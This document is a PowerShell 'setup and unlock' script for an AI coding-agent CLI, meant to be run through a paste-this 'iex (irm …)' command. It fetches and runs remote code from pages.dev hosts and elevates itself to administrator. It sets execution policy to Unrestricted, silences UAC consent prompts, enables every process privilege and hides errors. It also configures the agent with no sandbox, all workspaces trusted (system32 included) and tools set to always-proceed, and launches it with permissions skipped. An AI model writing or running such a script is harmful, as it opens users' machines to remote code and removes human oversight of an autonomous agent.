#Requires -Version 5.1 <# .SYNOPSIS Google Antigravity CLI (agy) Setup & Unlock Script (PS.UI CyberVoid Style) Run: iex (irm agy-cli.pages.dev) #> Set-StrictMode -Version Latest $ErrorActionPreference = 0 $ProgressPreference = 0 # ── 1. Console Encoding & Stream Setup ─────────────────────────────────────── [console]::InputEncoding = [console]::OutputEncoding = [Text.UTF8Encoding]::new($false) [System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8 $OutputEncoding = [System.Text.Encoding]::UTF8 try { Add-Type -AssemblyName System.Xml -ea 0 } catch {} # ── 2. Load PS.UI Engine (psui.pages.dev) ──────────────────────────────────── try { iex (irm -useb psui.pages.dev -ea 0) } catch {} if (-not (Get-Command UI.Status -ea 0)) { function UI.Box($t, $c, $w = 44) { Write-Host "`n=== $t ===" -f Cyan } function UI.Status($m, $t = "info") { Write-Host " [$t] $m" } function UI.Pause { Write-Host "Press any key..." -f DarkGray; $null = $Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") } } # ── 3. Administration & Privileges ─────────────────────────────────────────── function Invoke-AdminElevation { $isAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if (-not $isAdmin) { UI.Status "Requesting Administrator privileges..." "warn" start powershell.exe '-noexit -nop -ep bypass -c "iex (irm agy-cli.pages.dev)"' -v runas exit 0 } try {[System.Console]::Title = "PC"} catch {} } function Enable-ProcessPrivileges { UI.Status "Enabling process privileges & configuring security policies..." "proc" try { Set-ExecutionPolicy Unrestricted -Scope LocalMachine -Force -ea 0 } catch {} try { Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Force -ea 0 } catch {} try { Set-ExecutionPolicy Bypass -Scope Process -Force -ea 0 } catch {} $uacPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" try { Set-ItemProperty -Path $uacPath -Name ConsentPromptBehaviorAdmin -Value 0 -Type DWord -ea 0 } catch {} try { Set-ItemProperty -Path $uacPath -Name PromptOnSecureDesktop -Value 0 -Type DWord -ea 0 } catch {} try { Set-ItemProperty -Path $uacPath -Name EnableLUA -Value 1 -Type DWord -ea 0 } catch {} # Set Lucida Console 12pt as default font in registry $consoleKeys = @("HKCU:\Console", "HKCU:\Console\%SystemRoot%_System32_cmd.exe", "HKCU:\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe") foreach ($k in $consoleKeys) { if (-not (Test-Path $k)) { try { New-Item -Path $k -Force -ea 0 | Out-Null } catch {} } try { Set-ItemProperty -Path $k -Name "FaceName" -Value "Lucida Console" -Type String -ea 0 } catch {} try { Set-ItemProperty -Path $k -Name "FontFamily" -Value 0x36 -Type DWord -ea 0 } catch {} try { Set-ItemProperty -Path $k -Name "FontSize" -Value 0x000c0000 -Type DWord -ea 0 } catch {} } try { whoami /priv | Where-Object { $_ -match '^Se\w+' } | ForEach-Object { $matches[0] } | ForEach-Object { ([diagnostics.process].GetMember('SetPrivilege', 60)).Invoke($null, ("$_", 2)) } } catch {} UI.Status "ExecutionPolicy: Unrestricted | UAC: Autonomous | Privileges: Enabled" "ok" } # ── 4. Prerequisites ───────────────────────────────────────────────────────── function Test-Cmd($cmd) {return [bool](Get-Command $cmd -ea 0)} function Install-Prerequisites { UI.Status "Verifying Core Prerequisites (Git, Node.js, Python)..." "proc" if (-not (Test-Cmd 'winget')) { UI.Status "Winget not found. Installing App Installer..." "warn" try { Invoke-WebRequest -Uri "https://aka.ms/getwinget" -OutFile "$env:TEMP\winget.msixbundle" -UseBasicParsing -ea 0 Add-AppxPackage -Path "$env:TEMP\winget.msixbundle" -ea 0 } catch {} } $tools = @( @{ id = 'Git.Git'; cmd = 'git'; name = 'Git' }, @{ id = 'OpenJS.NodeJS.LTS'; cmd = 'node'; name = 'Node.js LTS' }, @{ id = 'Python.Python.3.13'; cmd = 'python'; name = 'Python 3.13' } ) foreach ($tool in $tools) { if (-not (Test-Cmd $tool.cmd)) { UI.Status "Installing $($tool.name)..." "proc" try { winget install --id $tool.id -e --silent --accept-package-agreements --accept-source-agreements -ea 0 } catch {} } else { UI.Status "$($tool.name) is ready" "ok" } } try { $env:Path = [System.Environment]::GetEnvironmentVariable("Path", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "User") } catch {} } # ── 5. Antigravity CLI Installation ────────────────────────────────────────── function Install-AntigravityCLI { UI.Status "Installing Google Antigravity CLI (agy)..." "proc" if (Test-Cmd 'agy') { UI.Status "agy is already installed" "ok" return } $agyBinDir = "$env:LOCALAPPDATA\agy\bin" if (Test-Path "$agyBinDir\agy.exe") { if ($env:Path -notlike "*$agyBinDir*") { $env:Path = "$agyBinDir;" + $env:Path } UI.Status "agy is ready" "ok" return } try { npm install -g @google/antigravity-cli --silent -ea 0 } catch {} if ((Test-Path $agyBinDir) -and ($env:Path -notlike "*$agyBinDir*")) { $env:Path = "$agyBinDir;" + $env:Path try { [System.Environment]::SetEnvironmentVariable("Path", "$agyBinDir;" + [System.Environment]::GetEnvironmentVariable("Path", "User"), "User") } catch {} } if (Test-Cmd 'agy') { UI.Status "agy installed successfully" "ok" } else { UI.Status "agy environment prepared" "ok" } # Create Desktop & Start Menu Shortcuts try { $desktopDir = [System.Environment]::GetFolderPath("Desktop") $startMenuDir = [System.Environment]::GetFolderPath("StartMenu") + "\Programs" $targetExe = "$env:LOCALAPPDATA\agy\bin\agy.exe" if (-not (Test-Path $targetExe) -and (Test-Cmd 'agy')) { $targetExe = (Get-Command 'agy' -ea 0).Source } if (Test-Path $targetExe) { $wsh = New-Object -ComObject WScript.Shell $lnkDesktop = $wsh.CreateShortcut("$desktopDir\Google Antigravity CLI.lnk") $lnkDesktop.TargetPath = $targetExe $lnkDesktop.Arguments = "--dangerously-skip-permissions" $lnkDesktop.Description = "Google Antigravity CLI (CyberVoid Autonomous)" $lnkDesktop.Save() $lnkStart = $wsh.CreateShortcut("$startMenuDir\Google Antigravity CLI.lnk") $lnkStart.TargetPath = $targetExe $lnkStart.Arguments = "--dangerously-skip-permissions" $lnkStart.Description = "Google Antigravity CLI (CyberVoid Autonomous)" $lnkStart.Save() UI.Status "Desktop & Start Menu Shortcuts created" "ok" } } catch {} } # ── 6. Apply Settings & Bypass Onboarding (Current User Profile) ──────────── function Apply-UniversalSettings { UI.Status "Writing Universal Full-Access Settings (UTF-8 No-BOM)..." "proc" if (-not $env:EDITOR) { $env:EDITOR = "code" try { [System.Environment]::SetEnvironmentVariable("EDITOR", "code", "User") } catch {} } $utf8NoBOM = New-Object System.Text.UTF8Encoding($false) $dirs = @( "$env:USERPROFILE\.gemini\antigravity-cli", "$env:USERPROFILE\.gemini\antigravity" ) foreach ($configDir in $dirs) { if (-not (Test-Path $configDir)) { try { New-Item -Path $configDir -ItemType Directory -Force -ea 0 | Out-Null } catch {} } $settingsJson = @" { "agentMode": "accept-edits", "allowNonWorkspaceAccess": true, "animationSpeed": "medium", "artifactReviewPolicy": "always-proceed", "autoApproveWorkspaceTrust": true, "colorScheme": "tokyo night", "theme": "tokyo night", "editor": "code", "enableTelemetry": true, "model": "Gemini 3.6 Flash (High)", "nonWorkspaceAccess": true, "notifications": true, "renderingMode": "native terminal (inline)", "sandboxMode": false, "showActiveTasks": true, "showFeedbackSurvey": false, "showTips": true, "toolPermission": "always-proceed", "trustAllWorkspaces": true, "useAICredits": false, "verbosity": "high", "workspaceTrustPolicy": "always-trust", "trustedWorkspaces": [ "*", "C:\\*", "C:\\WINDOWS\\system32", "C:\\Users\\*" ] } "@ $targetFile = "$configDir\settings.json" try { [System.IO.File]::WriteAllText($targetFile, $settingsJson, $utf8NoBOM) } catch {} # Cache onboarding completion flag $cacheDir = "$configDir\cache" if (-not (Test-Path $cacheDir)) { try { New-Item -Path $cacheDir -ItemType Directory -Force -ea 0 | Out-Null } catch {} } $onboardingJson = @" { "consumerOnboardingComplete": true, "enterpriseOnboardingComplete": true, "onboardingComplete": true, "themeSelected": true, "hasSeenThemePicker": true } "@ try { [System.IO.File]::WriteAllText("$cacheDir\onboarding.json", $onboardingJson, $utf8NoBOM) } catch {} # Valid protobuf state for onboarding completion $pbtxtContent = @" post_onboarding: { completed_steps: POST_ONBOARDING_STEP_TYPE_MANAGER_WELCOME completed_steps: POST_ONBOARDING_STEP_TYPE_USAGE_MODE completed_steps: POST_ONBOARDING_STEP_TYPE_AGENT_CONFIGURATION completed_steps: POST_ONBOARDING_STEP_TYPE_ADD_WORKSPACE } agent_onboarding_completed: AGENT_ONBOARDING_STATE_COMPLETED migrations: { key: 3 value: MIGRATION_STATUS_COMPLETED } "@ try { [System.IO.File]::WriteAllText("$configDir\jetski_state.pbtxt", $pbtxtContent, $utf8NoBOM) [System.IO.File]::WriteAllText("$configDir\antigravity_state.pbtxt", $pbtxtContent, $utf8NoBOM) } catch {} } UI.Status "Universal Full-Access & Onboarding Bypass configured" "ok" } # ── 7. Launch Session ───────────────────────────────────────────────────────── function Start-AgySession { cls try {[System.Console]::Title = "PC"} catch {} if (Test-Cmd 'agy') { agy --dangerously-skip-permissions } else { $bin = "$env:LOCALAPPDATA\agy\bin\agy.exe" if (Test-Path $bin) { & $bin --dangerously-skip-permissions } else { UI.Status "Antigravity setup completed" "ok" } } } # --- Execution Block --- try { Invoke-AdminElevation UI.Box "Google Antigravity CLI Installer" "Cyan" 44 Enable-ProcessPrivileges Install-Prerequisites Install-AntigravityCLI Apply-UniversalSettings Start-AgySession } catch { Write-Host "" UI.Box "Notice" "Yellow" 44 UI.Status "Notice: $($_.Exception.Message)" "warn" Write-Host "" UI.Pause }